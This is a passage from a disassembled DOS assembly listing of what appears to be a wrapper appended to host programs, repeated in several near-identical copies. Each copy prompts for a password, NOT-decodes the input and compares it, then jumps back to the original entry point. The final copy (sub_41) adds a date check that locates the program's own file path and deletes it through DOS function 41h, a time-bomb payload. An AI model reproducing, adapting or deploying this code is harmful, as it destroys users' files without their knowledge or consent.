  1849.                 db      'the input file.', 0Dh, 0Ah, 0Dh, 0Ah
  1850.                 db      ' Sorry, I cannot read the input '
  1851.                 db      'file.', 0Dh, 0Ah
  1852.                 db      90h
  1853. data_32         dw      0
  1854. data_33         dw      0
  1855. data_34         dw      0
  1856. data_35         dw      0
  1857.                 db      0ACh, 29h, 0ADh, 29h, 0AEh, 29h
  1858.                 db      0AFh, 29h, 0B0h, 29h, 0E9h, 70h
  1859.                 db      2, 0E9h, 49h, 2
  1860.                 db      14 dup (0)
  1861.                 db      0E9h, 0C7h, 0, 0Dh, 0, 0
  1862.                 db      0
  1863.                 db      44h, 29h
  1864.                 db      42 dup (0)
  1865.                 db      0CCh, 7, 6, 7
  1866.                 db      13 dup (0)
  1867.                 db      3, 2, 0CFh, 0C8h, 0Dh, 0C9h
  1868.                 db      0Dh
  1869.                 db      79 dup (0)
  1870.                 db      0Dh, 0Ah, 'Please enter the passw'
  1871.                 db      'ord now: '
  1872.                 db      0
  1873.                 db      0Dh, 0Ah, 'This program requires '
  1874.                 db      'DOS 3.00 or greater'
  1875.                 db      7, 0Dh, 0Ah, 0, 5Ch, 2Ah
  1876.                 db      2Eh, 2Ah, 0
  1877.                 db      0Dh, 0Ah, '%%211#---4677^^^%'
  1878.                 db      7, 0Dh, 0Ah, 0, 42h, 23h
  1879.                 db      0
  1880.                 db      305 dup (0)
  1881.                 db      50h, 53h, 0A1h, 1, 1, 5
  1882.                 db      3, 1, 0D1h, 0E8h, 0D1h, 0E8h
  1883.                 db      0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
  1884.                 db      8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
  1885.                 db      6Bh, 2, 50h, 0CBh, 5Bh, 58h
  1886.                 db      2Eh, 0C6h, 6, 1Ah, 0, 0FFh
  1887.                 db      2Eh, 8Ch, 6, 1Bh, 1, 2Eh
  1888.                 db      0A3h, 1Dh, 1, 2Eh, 89h, 26h
  1889.                 db      1Fh, 1, 2Eh, 8Ch, 16h, 21h
  1890.                 db      1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
  1891.                 db      4Fh, 2, 2Eh, 0A1h, 1Dh, 1
  1892.                 db      50h, 53h, 51h, 52h, 56h, 57h
  1893.                 db      55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
  1894.                 db      0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
  1895.                 db      3Ch, 50h, 75h, 6, 0E8h, 6Ah
  1896.                 db      0, 0EBh, 15h, 90h, 3Ch, 44h
  1897.                 db      75h, 6, 0E8h, 78h, 0, 0EBh
  1898.                 db      0Bh, 90h
  1899. loc_38:
  1900.                 cmp     al,4Ch
  1901.                 jne     loc_39
  1902.                 call    sub_21
  1903.                 jmp     short loc_40
  1904. loc_39:
  1905.                 stc
  1906. loc_40:
  1907.                 pop     es
  1908.                 pop     ds
  1909.                 pop     bp
  1910.                 pop     di
  1911.                 pop     si
  1912.                 pop     dx
  1913.                 pop     cx
  1914.                 pop     bx
  1915.                 cmp     byte ptr cs:data_7e,0
  1916.                 je      loc_41
  1917.                 mov     ax,cs:data_4e
  1918.                 mov     ds:data_1e,ax
  1919.                 mov     ax,cs:data_5e
  1920.                 mov     ds:data_2e,ax
  1921.                 mov     ax,100h
  1922.                 mov     cs:data_4e,ax
  1923.                 mov     cs:data_5e,ds
  1924.                 jmp     short loc_42
  1925. loc_41:
  1926.                 mov     ax,cs
  1927.                 sub     ax,cs:data_6e
  1928.                 add     cs:data_5e,ax
  1929. loc_42:
  1930.                 pop     ax
  1931.                 mov     ss,word ptr cs:[121h]
  1932.                 mov     sp,word ptr cs:[11Fh]
  1933.                 jmp     dword ptr cs:data_4e
  1934.                 db      0BAh, 4, 1, 0E8h, 0BCh, 0
  1935.                 db      0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
  1936.                 db      0AEh, 0, 0E8h, 0B1h, 0, 0C6h
  1937.                 db      6, 58h, 0, 29h, 0BAh, 58h
  1938.                 db      0, 0E8h, 74h, 0, 0E8h, 0BDh
  1939.                 db      0, 0E8h, 87h, 0, 0C3h
  1940.   
  1941.   
  1942. sub_20          proc    near
  1943.                 mov     ah,2Ah
  1944.                 int     21h
  1945.                 cmp     cx,ds:data_8e
  1946.                 jb      loc_44
  1947.                 cmp     dh,ds:data_9e
  1948.                 jb      loc_44
  1949.                 cmp     dl,ds:data_10e
  1950.                 jb      loc_44
  1951.                 jmp     short loc_44
  1952.                 db      90h, 0B4h, 30h, 0CDh, 21h, 3Ch
  1953.                 db      3, 73h, 4, 0F8h, 0EBh, 25h
  1954.                 db      90h, 1Eh, 6, 32h, 0C0h, 0B9h
  1955.                 db      0, 80h, 2Eh, 8Eh, 6, 1Bh
  1956.                 db      1, 26h, 8Eh, 6, 2Ch, 0
  1957.                 db      33h, 0FFh
  1958. loc_43:
  1959.                 repne   scasb
  1960.                 scasb
  1961.                 jnz     loc_43
  1962.                 add     di,2
  1963.                 push    es
  1964.                 pop     ds
  1965.                 mov     dx,di
  1966.                 mov     ah,41h
  1967.                 clc
  1968.                 pop     es
  1969.                 pop     ds
  1970. loc_44:
  1971.                 cmc
  1972.                 retn
  1973. sub_20          endp
  1974.   
  1975.   
  1976. sub_21          proc    near
  1977.                 mov     ah,1Ah
  1978.                 mov     dx,83h
  1979.                 int     21h
  1980.                 mov     ah,4Eh
  1981.                 mov     cx,8
  1982.                 mov     dx,0FFh
  1983.                 int     21h
  1984.                 mov     si,0A1h
  1985.                 mov     di,4Bh
  1986.                 cld
  1987. loc_45:
  1988.                 lodsb
  1989.                 scasb
  1990.                 stc
  1991.                 jnz     loc_ret_46
  1992.                 or      al,al
  1993.                 jnz     loc_45
  1994.   
  1995. loc_ret_46:
  1996.                 retn
  1997. sub_21          endp
  1998.   
  1999.   
  2000.   
  2001. sub_22          proc    near
  2002.                 push    ax
  2003.                 push    bx
  2004.                 push    cx
  2005.                 mov     ah,0Ah
  2006.                 int     21h
  2007.                 mov     bx,dx
  2008.                 inc     bx
  2009.                 mov     cl,[bx]
  2010.                 xor     ch,ch
  2011.                 jcxz    loc_48
  2012.   
  2013. locloop_47:
  2014.                 inc     bx
  2015.                 not     byte ptr [bx]
  2016.                 loop    locloop_47
  2017.   
  2018. loc_48:
  2019.                 pop     cx
  2020.                 pop     bx
  2021.                 pop     ax
  2022.                 retn
  2023. sub_22          endp
  2024.   
  2025.   
  2026.   
  2027. sub_23          proc    near
  2028.                 push    cx
  2029.                 push    si
  2030.                 push    di
  2031.                 mov     cl,ds:data_11e
  2032.                 xor     ch,ch
  2033.                 mov     si,59h
  2034.                 mov     di,1Dh
  2035.                 cld
  2036.                 repe    cmpsb
  2037.                 jz      loc_49
  2038.                 stc
  2039. loc_49:
  2040.                 pop     di
  2041.                 pop     si
  2042.                 pop     cx
  2043.                 retn
  2044. sub_23          endp
  2045.   
  2046.   
  2047.   
  2048. sub_24          proc    near
  2049.                 push    bx
  2050.                 push    dx
  2051.                 mov     bx,dx
  2052. loc_50:
  2053.                 mov     dl,[bx]
  2054.                 or      dl,dl
  2055.                 jz      loc_51
  2056.                 call    sub_25
  2057.                 inc     bx
  2058.                 jmp     short loc_50
  2059. loc_51:
  2060.                 pop     dx
  2061.                 pop     bx
  2062.                 retn
  2063. sub_24          endp
  2064.   
  2065.   
  2066.   
  2067. sub_25          proc    near
  2068.                 push    ax
  2069.                 mov     ah,2
  2070.                 int     21h
  2071.                 pop     ax
  2072.                 retn
  2073. sub_25          endp
  2074.   
  2075.   
  2076.   
  2077. sub_26          proc    near
  2078.                 push    dx
  2079.                 mov     dl,0Dh
  2080.                 call    sub_25
  2081.                 mov     dl,0Ah
  2082.                 call    sub_25
  2083.                 pop     dx
  2084.                 retn
  2085. sub_26          endp
  2086.   
  2087.                 db      0, 0, 0, 0, 0ACh, 29h
  2088.                 db      0ADh, 29h, 0AEh, 29h, 0AFh, 29h
  2089.                 db      0B0h, 29h, 0E9h, 70h, 2, 0E9h
  2090.                 db      49h, 2
  2091.                 db      14 dup (0)
  2092.                 db      0E9h, 60h, 5, 0Dh, 0, 0
  2093.                 db      0
  2094.                 db      44h, 29h
  2095.                 db      42 dup (0)
  2096.                 db      0EAh, 7, 0Ch, 1Fh, 0
  2097.                 db      12 dup (0)
  2098.                 db      3, 2, 0CCh, 0CEh, 0Dh, 0C9h
  2099.                 db      0Dh
  2100.                 db      79 dup (0)
  2101.                 db      0Dh, 0Ah, 'Please enter the passw'
  2102.                 db      'ord now: '
  2103.                 db      0
  2104.                 db      0Dh, 0Ah, 'This program requires '
  2105.                 db      'DOS 3.00 or greater'
  2106.                 db      7, 0Dh, 0Ah, 0, 5Ch, 2Ah
  2107.                 db      2Eh, 2Ah, 0
  2108.                 db      0Dh, 0Ah, '%%211#---4677^^^%'
  2109.                 db      7, 0Dh, 0Ah, 0, 42h, 23h
  2110.                 db      0
  2111.                 db      305 dup (0)
  2112.                 db      50h, 53h, 0A1h, 1, 1, 5
  2113.                 db      3, 1, 0D1h, 0E8h, 0D1h, 0E8h
  2114.                 db      0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
  2115.                 db      8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
  2116.                 db      6Bh, 2, 50h, 0CBh, 5Bh, 58h
  2117.                 db      2Eh, 0C6h, 6, 1Ah, 0, 0FFh
  2118.                 db      2Eh, 8Ch, 6, 1Bh, 1, 2Eh
  2119.                 db      0A3h, 1Dh, 1, 2Eh, 89h, 26h
  2120.                 db      1Fh, 1, 2Eh, 8Ch, 16h, 21h
  2121.                 db      1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
  2122.                 db      4Fh, 2, 2Eh, 0A1h, 1Dh, 1
  2123.                 db      50h, 53h, 51h, 52h, 56h, 57h
  2124.                 db      55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
  2125.                 db      0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
  2126.                 db      3Ch, 50h, 75h, 6, 0E8h, 6Ah
  2127.                 db      0, 0EBh, 15h, 90h, 3Ch, 44h
  2128.                 db      75h, 6, 0E8h, 78h, 0, 0EBh
  2129.                 db      0Bh, 90h
  2130. loc_52:
  2131.                 cmp     al,4Ch
  2132.                 jne     loc_53
  2133.                 call    sub_28
  2134.                 jmp     short loc_54
  2135. loc_53:
  2136.                 stc
  2137. loc_54:
  2138.                 pop     es
  2139.                 pop     ds
  2140.                 pop     bp
  2141.                 pop     di
  2142.                 pop     si
  2143.                 pop     dx
  2144.                 pop     cx
  2145.                 pop     bx
  2146.                 cmp     byte ptr cs:data_7e,0
  2147.                 je      loc_55
  2148.                 mov     ax,cs:data_4e
  2149.                 mov     ds:data_1e,ax
  2150.                 mov     ax,cs:data_5e
  2151.                 mov     ds:data_2e,ax
  2152.                 mov     ax,100h
  2153.                 mov     cs:data_4e,ax
  2154.                 mov     cs:data_5e,ds
  2155.                 jmp     short loc_56
  2156. loc_55:
  2157.                 mov     ax,cs
  2158.                 sub     ax,cs:data_6e
  2159.                 add     cs:data_5e,ax
  2160. loc_56:
  2161.                 pop     ax
  2162.                 mov     ss,word ptr cs:[121h]
  2163.                 mov     sp,word ptr cs:[11Fh]
  2164.                 jmp     dword ptr cs:data_4e
  2165.                 db      0BAh, 4, 1, 0E8h, 0BCh, 0
  2166.                 db      0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
  2167.                 db      0AEh, 0, 0E8h, 0B1h, 0, 0C6h
  2168.                 db      6, 58h, 0, 29h, 0BAh, 58h
  2169.                 db      0, 0E8h, 74h, 0, 0E8h, 0BDh
  2170.                 db      0, 0E8h, 87h, 0, 0C3h
  2171.   
  2172.   
  2173. sub_27          proc    near
  2174.                 mov     ah,2Ah
  2175.                 int     21h
  2176.                 cmp     cx,ds:data_8e
  2177.                 jb      loc_58
  2178.                 cmp     dh,ds:data_9e
  2179.                 jb      loc_58
  2180.                 cmp     dl,ds:data_10e
  2181.                 jb      loc_58
  2182.                 jmp     short loc_58
  2183.                 db      90h, 0B4h, 30h, 0CDh, 21h, 3Ch
  2184.                 db      3, 73h, 4, 0F8h, 0EBh, 25h
  2185.                 db      90h, 1Eh, 6, 32h, 0C0h, 0B9h
  2186.                 db      0, 80h, 2Eh, 8Eh, 6, 1Bh
  2187.                 db      1, 26h, 8Eh, 6, 2Ch, 0
  2188.                 db      33h, 0FFh
  2189. loc_57:
  2190.                 repne   scasb
  2191.                 scasb
  2192.                 jnz     loc_57
  2193.                 add     di,2
  2194.                 push    es
  2195.                 pop     ds
  2196.                 mov     dx,di
  2197.                 mov     ah,41h
  2198.                 clc
  2199.                 pop     es
  2200.                 pop     ds
  2201. loc_58:
  2202.                 cmc
  2203.                 retn
  2204. sub_27          endp
  2205.   
  2206.   
  2207.   
  2208. sub_28          proc    near
  2209.                 mov     ah,1Ah
  2210.                 mov     dx,83h
  2211.                 int     21h
  2212.                 mov     ah,4Eh
  2213.                 mov     cx,8
  2214.                 mov     dx,0FFh
  2215.                 int     21h
  2216.                 mov     si,0A1h
  2217.                 mov     di,4Bh
  2218.                 cld
  2219. loc_59:
  2220.                 lodsb
  2221.                 scasb
  2222.                 stc
  2223.                 jnz     loc_ret_60
  2224.                 or      al,al
  2225.                 jnz     loc_59
  2226.   
  2227. loc_ret_60:
  2228.                 retn
  2229. sub_28          endp
  2230.   
  2231.   
  2232.   
  2233. sub_29          proc    near
  2234.                 push    ax
  2235.                 push    bx
  2236.                 push    cx
  2237.                 mov     ah,0Ah
  2238.                 int     21h
  2239.                 mov     bx,dx
  2240.                 inc     bx
  2241.                 mov     cl,[bx]
  2242.                 xor     ch,ch
  2243.                 jcxz    loc_62
  2244.   
  2245. locloop_61:
  2246.                 inc     bx
  2247.                 not     byte ptr [bx]
  2248.                 loop    locloop_61
  2249.   
  2250. loc_62:
  2251.                 pop     cx
  2252.                 pop     bx
  2253.                 pop     ax
  2254.                 retn
  2255. sub_29          endp
  2256.   
  2257.   
  2258.   
  2259. sub_30          proc    near
  2260.                 push    cx
  2261.                 push    si
  2262.                 push    di
  2263.                 mov     cl,ds:data_11e
  2264.                 xor     ch,ch
  2265.                 mov     si,59h
  2266.                 mov     di,1Dh
  2267.                 cld
  2268.                 repe    cmpsb
  2269.                 jz      loc_63
  2270.                 stc
  2271. loc_63:
  2272.                 pop     di
  2273.                 pop     si
  2274.                 pop     cx
  2275.                 retn
  2276. sub_30          endp
  2277.   
  2278.   
  2279.   
  2280. sub_31          proc    near
  2281.                 push    bx
  2282.                 push    dx
  2283.                 mov     bx,dx
  2284. loc_64:
  2285.                 mov     dl,[bx]
  2286.                 or      dl,dl
  2287.                 jz      loc_65
  2288.                 call    sub_32
  2289.                 inc     bx
  2290.                 jmp     short loc_64
  2291. loc_65:
  2292.                 pop     dx
  2293.                 pop     bx
  2294.                 retn
  2295. sub_31          endp
  2296.   
  2297.   
  2298.   
  2299. sub_32          proc    near
  2300.                 push    ax
  2301.                 mov     ah,2
  2302.                 int     21h
  2303.                 pop     ax
  2304.                 retn
  2305. sub_32          endp
  2306.   
  2307.   
  2308. sub_33          proc    near
  2309.                 push    dx
  2310.                 mov     dl,0Dh
  2311.                 call    sub_32
  2312.                 mov     dl,0Ah
  2313.                 call    sub_32
  2314.                 pop     dx
  2315.                 retn
  2316. sub_33          endp
  2317.   
  2318.                 db      0, 0, 0, 0, 0ACh, 29h
  2319.                 db      0ADh, 29h, 0AEh, 29h, 0AFh, 29h
  2320.                 db      0B0h, 29h, 0E9h, 70h, 2, 0E9h
  2321.                 db      49h, 2
  2322.                 db      14 dup (0)
  2323.                 db      0E9h, 60h, 9, 0Dh, 0, 0
  2324.                 db      0
  2325.                 db      44h, 29h
  2326.                 db      42 dup (0)
  2327.                 db      0C2h, 7, 9, 0Bh, 0
  2328.                 db      12 dup (0)
  2329.                 db      3, 2, 0CEh, 0CEh, 0Dh, 0C9h
  2330.                 db      0Dh
  2331.                 db      79 dup (0)
  2332.                 db      0Dh, 0Ah, 'Please enter the passw'
  2333.                 db      'ord now: '
  2334.                 db      0
  2335.                 db      0Dh, 0Ah, 'This program requires '
  2336.                 db      'DOS 3.00 or greater'
  2337.                 db      7, 0Dh, 0Ah, 0, 5Ch, 2Ah
  2338.                 db      2Eh, 2Ah, 0
  2339.                 db      0Dh, 0Ah, '%%211#---4677^^^%'
  2340.                 db      7, 0Dh, 0Ah, 0, 42h, 23h
  2341.                 db      0
  2342.                 db      305 dup (0)
  2343.                 db      50h, 53h, 0A1h, 1, 1, 5
  2344.                 db      3, 1, 0D1h, 0E8h, 0D1h, 0E8h
  2345.                 db      0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
  2346.                 db      8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
  2347.                 db      6Bh, 2, 50h, 0CBh, 5Bh, 58h
  2348.                 db      2Eh, 0C6h, 6, 1Ah, 0, 0FFh
  2349.                 db      2Eh, 8Ch, 6, 1Bh, 1, 2Eh
  2350.                 db      0A3h, 1Dh, 1, 2Eh, 89h, 26h
  2351.                 db      1Fh, 1, 2Eh, 8Ch, 16h, 21h
  2352.                 db      1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
  2353.                 db      4Fh, 2, 2Eh, 0A1h, 1Dh, 1
  2354.                 db      50h, 53h, 51h, 52h, 56h, 57h
  2355.                 db      55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
  2356.                 db      0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
  2357.                 db      3Ch, 50h, 75h, 6, 0E8h, 6Ah
  2358.                 db      0, 0EBh, 15h, 90h, 3Ch, 44h
  2359.                 db      75h, 6, 0E8h, 78h, 0, 0EBh
  2360.                 db      0Bh, 90h
  2361. loc_66:
  2362.                 cmp     al,4Ch
  2363.                 jne     loc_67
  2364.                 call    sub_35
  2365.                 jmp     short loc_68
  2366. loc_67:
  2367.                 stc
  2368. loc_68:
  2369.                 pop     es
  2370.                 pop     ds
  2371.                 pop     bp
  2372.                 pop     di
  2373.                 pop     si
  2374.                 pop     dx
  2375.                 pop     cx
  2376.                 pop     bx
  2377.                 cmp     byte ptr cs:data_7e,0
  2378.                 je      loc_69
  2379.                 mov     ax,cs:data_4e
  2380.                 mov     ds:data_1e,ax
  2381.                 mov     ax,cs:data_5e
  2382.                 mov     ds:data_2e,ax
  2383.                 mov     ax,100h
  2384.                 mov     cs:data_4e,ax
  2385.                 mov     cs:data_5e,ds
  2386.                 jmp     short loc_70
  2387. loc_69:
  2388.                 mov     ax,cs
  2389.                 sub     ax,cs:data_6e
  2390.                 add     cs:data_5e,ax
  2391. loc_70:
  2392.                 pop     ax
  2393.                 mov     ss,word ptr cs:[121h]
  2394.                 mov     sp,word ptr cs:[11Fh]
  2395.                 jmp     dword ptr cs:data_4e
  2396.                 db      0BAh, 4, 1, 0E8h, 0BCh, 0
  2397.                 db      0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
  2398.                 db      0AEh, 0, 0E8h, 0B1h, 0, 0C6h
  2399.                 db      6, 58h, 0, 29h, 0BAh, 58h
  2400.                 db      0, 0E8h, 74h, 0, 0E8h, 0BDh
  2401.                 db      0, 0E8h, 87h, 0, 0C3h
  2402.   
  2403. sub_34          proc    near
  2404.                 mov     ah,2Ah
  2405.                 int     21h
  2406.                 cmp     cx,ds:data_8e
  2407.                 jb      loc_72
  2408.                 cmp     dh,ds:data_9e
  2409.                 jb      loc_72
  2410.                 cmp     dl,ds:data_10e
  2411.                 jb      loc_72
  2412.                 jmp     short loc_72
  2413.                 db      90h, 0B4h, 30h, 0CDh, 21h, 3Ch
  2414.                 db      3, 73h, 4, 0F8h, 0EBh, 25h
  2415.                 db      90h, 1Eh, 6, 32h, 0C0h, 0B9h
  2416.                 db      0, 80h, 2Eh, 8Eh, 6, 1Bh
  2417.                 db      1, 26h, 8Eh, 6, 2Ch, 0
  2418.                 db      33h, 0FFh
  2419. loc_71:
  2420.                 repne   scasb
  2421.                 scasb
  2422.                 jnz     loc_71
  2423.                 add     di,2
  2424.                 push    es
  2425.                 pop     ds
  2426.                 mov     dx,di
  2427.                 mov     ah,41h
  2428.                 clc
  2429.                 pop     es
  2430.                 pop     ds
  2431. loc_72:
  2432.                 cmc
  2433.                 retn
  2434. sub_34          endp
  2435.   
  2436. sub_35          proc    near
  2437.                 mov     ah,1Ah
  2438.                 mov     dx,83h
  2439.                 int     21h
  2440.                 mov     ah,4Eh
  2441.                 mov     cx,8
  2442.                 mov     dx,0FFh
  2443.                 int     21h
  2444.                 mov     si,0A1h
  2445.                 mov     di,4Bh
  2446.                 cld
  2447. loc_73:
  2448.                 lodsb
  2449.                 scasb
  2450.                 stc
  2451.                 jnz     loc_ret_74
  2452.                 or      al,al
  2453.                 jnz     loc_73
  2454.   
  2455. loc_ret_74:
  2456.                 retn
  2457. sub_35          endp
  2458.   
  2459.   
  2460. sub_36          proc    near
  2461.                 push    ax
  2462.                 push    bx
  2463.                 push    cx
  2464.                 mov     ah,0Ah
  2465.                 int     21h
  2466.                 mov     bx,dx
  2467.                 inc     bx
  2468.                 mov     cl,[bx]
  2469.                 xor     ch,ch
  2470.                 jcxz    loc_76
  2471.   
  2472. locloop_75:
  2473.                 inc     bx
  2474.                 not     byte ptr [bx]
  2475.                 loop    locloop_75
  2476.   
  2477. loc_76:
  2478.                 pop     cx
  2479.                 pop     bx
  2480.                 pop     ax
  2481.                 retn
  2482. sub_36          endp
  2483.   
  2484.   
  2485. sub_37          proc    near
  2486.                 push    cx
  2487.                 push    si
  2488.                 push    di
  2489.                 mov     cl,ds:data_11e
  2490.                 xor     ch,ch
  2491.                 mov     si,59h
  2492.                 mov     di,1Dh
  2493.                 cld
  2494.                 repe    cmpsb
  2495.                 jz      loc_77
  2496.                 stc
  2497. loc_77:
  2498.                 pop     di
  2499.                 pop     si
  2500.                 pop     cx
  2501.                 retn
  2502. sub_37          endp
  2503.   
  2504.   
  2505. sub_38          proc    near
  2506.                 push    bx
  2507.                 push    dx
  2508.                 mov     bx,dx
  2509. loc_78:
  2510.                 mov     dl,[bx]
  2511.                 or      dl,dl
  2512.                 jz      loc_79
  2513.                 call    sub_39
  2514.                 inc     bx
  2515.                 jmp     short loc_78
  2516. loc_79:
  2517.                 pop     dx
  2518.                 pop     bx
  2519.                 retn
  2520. sub_38          endp
  2521.   
  2522.   
  2523. sub_39          proc    near
  2524.                 push    ax
  2525.                 mov     ah,2
  2526.                 int     21h
  2527.                 pop     ax
  2528.                 retn
  2529. sub_39          endp
  2530.   
  2531.   
  2532. sub_40          proc    near
  2533.                 push    dx
  2534.                 mov     dl,0Dh
  2535.                 call    sub_39
  2536.                 mov     dl,0Ah
  2537.                 call    sub_39
  2538.                 pop     dx
  2539.                 retn
  2540. sub_40          endp
  2541.   
  2542.                 db      0, 0, 0, 0, 0ACh, 29h
  2543.                 db      0ADh, 29h, 0AEh, 29h, 0AFh, 29h
  2544.                 db      0B0h, 29h, 0E9h, 6Ch, 2, 0E9h
  2545.                 db      45h, 2, 0
  2546.                 db      13 dup (0)
  2547.                 db      0E9h, 60h, 0Dh, 0Dh, 0, 0
  2548.                 db      0
  2549.                 db      44h, 29h
  2550.                 db      42 dup (0)
  2551.                 db      0D2h, 7, 1, 1
  2552.                 db      13 dup (0)
  2553.                 db      3, 2, 0CFh, 0CEh, 0Dh, 0CDh
  2554.                 db      0Dh
  2555.                 db      79 dup (0)
  2556.                 db      0Dh, 0Ah, 'Please enter the passw'
  2557.                 db      'ord now: '
  2558.                 db      0
  2559.                 db      0Dh, 0Ah, 'This program requires '
  2560.                 db      'DOS 3.00 or greater'
  2561.                 db      7, 0Dh, 0Ah, 0, 5Ch, 2Ah
  2562.                 db      2Eh, 2Ah, 0
  2563.                 db      0Dh, 0Ah, 'Access denied'
  2564.                 db      7, 0Dh, 0Ah, 0, 42h, 23h
  2565.                 db      0
  2566.                 db      305 dup (0)
  2567.                 db      50h, 53h, 0A1h, 1, 1, 5
  2568.                 db      3, 1, 0D1h, 0E8h, 0D1h, 0E8h
  2569.                 db      0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
  2570.                 db      8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
  2571.                 db      67h, 2, 50h, 0CBh, 5Bh, 58h
  2572.                 db      2Eh, 0C6h, 6, 1Ah, 0, 0FFh
  2573.                 db      2Eh, 8Ch, 6, 17h, 1, 2Eh
  2574.                 db      0A3h, 19h, 1, 2Eh, 89h, 26h
  2575.                 db      1Bh, 1, 2Eh, 8Ch, 16h, 1Dh
  2576.                 db      1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
  2577.                 db      4Bh, 2, 2Eh, 0A1h, 19h, 1
  2578.                 db      50h, 53h, 51h, 52h, 56h, 57h
  2579.                 db      55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
  2580.                 db      0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
  2581.                 db      3Ch, 50h, 75h, 6, 0E8h, 6Ch
  2582.                 db      0, 0EBh, 15h, 90h, 3Ch, 44h
  2583.                 db      75h, 6, 0E8h, 7Ah, 0, 0EBh
  2584.                 db      0Bh, 90h
  2585. loc_80:
  2586.                 cmp     al,4Ch
  2587.                 jne     loc_81
  2588.                 call    sub_42
  2589.                 jmp     short loc_82
  2590. loc_81:
  2591.                 stc
  2592. loc_82:
  2593.                 jc      loc_85
  2594.                 pop     es
  2595.                 pop     ds
  2596.                 pop     bp
  2597.                 pop     di
  2598.                 pop     si
  2599.                 pop     dx
  2600.                 pop     cx
  2601.                 pop     bx
  2602.                 cmp     byte ptr cs:data_7e,0
  2603.                 je      loc_83
  2604.                 mov     ax,cs:data_4e
  2605.                 mov     ds:data_1e,ax
  2606.                 mov     ax,cs:data_5e
  2607.                 mov     ds:data_2e,ax
  2608.                 mov     ax,100h
  2609.                 mov     cs:data_4e,ax
  2610.                 mov     cs:data_5e,ds
  2611.                 jmp     short loc_84
  2612. loc_83:
  2613.                 mov     ax,cs
  2614.                 sub     ax,cs:data_6e
  2615.                 add     cs:data_5e,ax
  2616. loc_84:
  2617.                 pop     ax
  2618.                 mov     ss,word ptr cs:[11Dh]
  2619.                 mov     sp,word ptr cs:[11Bh]
  2620.                 jmp     dword ptr cs:data_4e
  2621. loc_85:
  2622.                 mov     dx,104h
  2623.                 call    sub_45
  2624.                 mov     ax,4CFFh
  2625.                 int     21h
  2626.                 db      0BAh, 0AEh, 0, 0E8h, 0B6h, 0
  2627.                 db      0C6h, 6, 58h, 0, 29h, 0BAh
  2628.                 db      58h, 0, 0E8h, 79h, 0, 0E8h
  2629.                 db      0C2h, 0, 0E8h, 8Ch, 0, 0C3h
  2630.   
  2631. sub_41          proc    near
  2632.                 mov     ah,2Ah
  2633.                 int     21h
  2634.                 cmp     cx,ds:data_8e
  2635.                 jb      loc_88
  2636.                 cmp     dh,ds:data_9e
  2637.                 jb      loc_88
  2638.                 cmp     dl,ds:data_10e
  2639.                 jb      loc_88
  2640.                 mov     ah,30h
  2641.                 int     21h
  2642.                 cmp     al,3
  2643.                 jae     loc_86
  2644.                 mov     dx,0D0h
  2645.                 call    sub_45
  2646.                 clc
  2647.                 jmp     short loc_88
  2648.                 db      90h
  2649. loc_86:
  2650.                 push    ds
  2651.                 push    es
  2652.                 xor     al,al
  2653.                 mov     cx,8000h
  2654.                 mov     es,word ptr cs:copyright+1
  2655.                 mov     es,es:data_3e
  2656.                 xor     di,di
  2657. loc_87:
  2658.                 repne   scasb
  2659.                 scasb
  2660.                 jnz     loc_87
  2661.                 add     di,2
  2662.                 push    es
  2663.                 pop     ds
  2664.                 mov     dx,di
  2665.                 mov     ah,41h
  2666.                 int     21h
  2667.                 clc
  2668.                 pop     es
  2669.                 pop     ds
  2670. loc_88:
  2671.                 cmc
  2672.                 retn
  2673. sub_41          endp
  2674.   
  2675. sub_42          proc    near
  2676.                 mov     ah,1Ah
  2677.                 mov     dx,83h
  2678.                 int     21h
  2679.                 mov     ah,4Eh
  2680.                 mov     cx,8
  2681.                 mov     dx,0FFh
  2682.                 int     21h
  2683.                 mov     si,0A1h
  2684.                 mov     di,4Bh
  2685.                 cld
  2686. loc_89:
  2687.                 lodsb
  2688.                 scasb
  2689.                 stc
  2690.                 jnz     loc_ret_90
  2691.                 or      al,al
  2692.                 jnz     loc_89
  2693.   
  2694. loc_ret_90:
  2695.                 retn
  2696. sub_42          endp
  2697.   
  2698. sub_43          proc    near
  2699.                 push    ax
  2700.                 push    bx
  2701.                 push    cx
  2702.                 mov     ah,0Ah
  2703.                 int     21h
  2704.                 mov     bx,dx
  2705.                 inc     bx
  2706.                 mov     cl,[bx]
  2707.                 xor     ch,ch
  2708.                 jcxz    loc_92
  2709.   
  2710. locloop_91:
  2711.                 inc     bx
  2712.                 not     byte ptr [bx]
  2713.                 loop    locloop_91
  2714.   
  2715. loc_92:
  2716.                 pop     cx
  2717.                 pop     bx
  2718.                 pop     ax
  2719.                 retn
  2720. sub_43          endp
  2721.   
  2722. sub_44          proc    near
  2723.                 push    cx
  2724.                 push    si
  2725.                 push    di
  2726.                 mov     cl,ds:data_11e
  2727.                 xor     ch,ch
  2728.                 mov     si,59h
  2729.                 mov     di,1Dh
  2730.                 cld
  2731.                 repe    cmpsb
  2732.                 jz      loc_93
  2733.                 stc
  2734. loc_93:
  2735.                 pop     di
  2736.                 pop     si
  2737.                 pop     cx
  2738.                 retn
  2739. sub_44          endp
  2740.   
  2741.   
  2742.   
  2743. sub_45          proc    near
  2744.                 push    bx
  2745.                 push    dx
  2746.                 mov     bx,dx
  2747. loc_94:
  2748.                 mov     dl,[bx]
  2749.                 or      dl,dl
  2750.                 jz      loc_95
  2751.                 call    sub_46
  2752.                 inc     bx
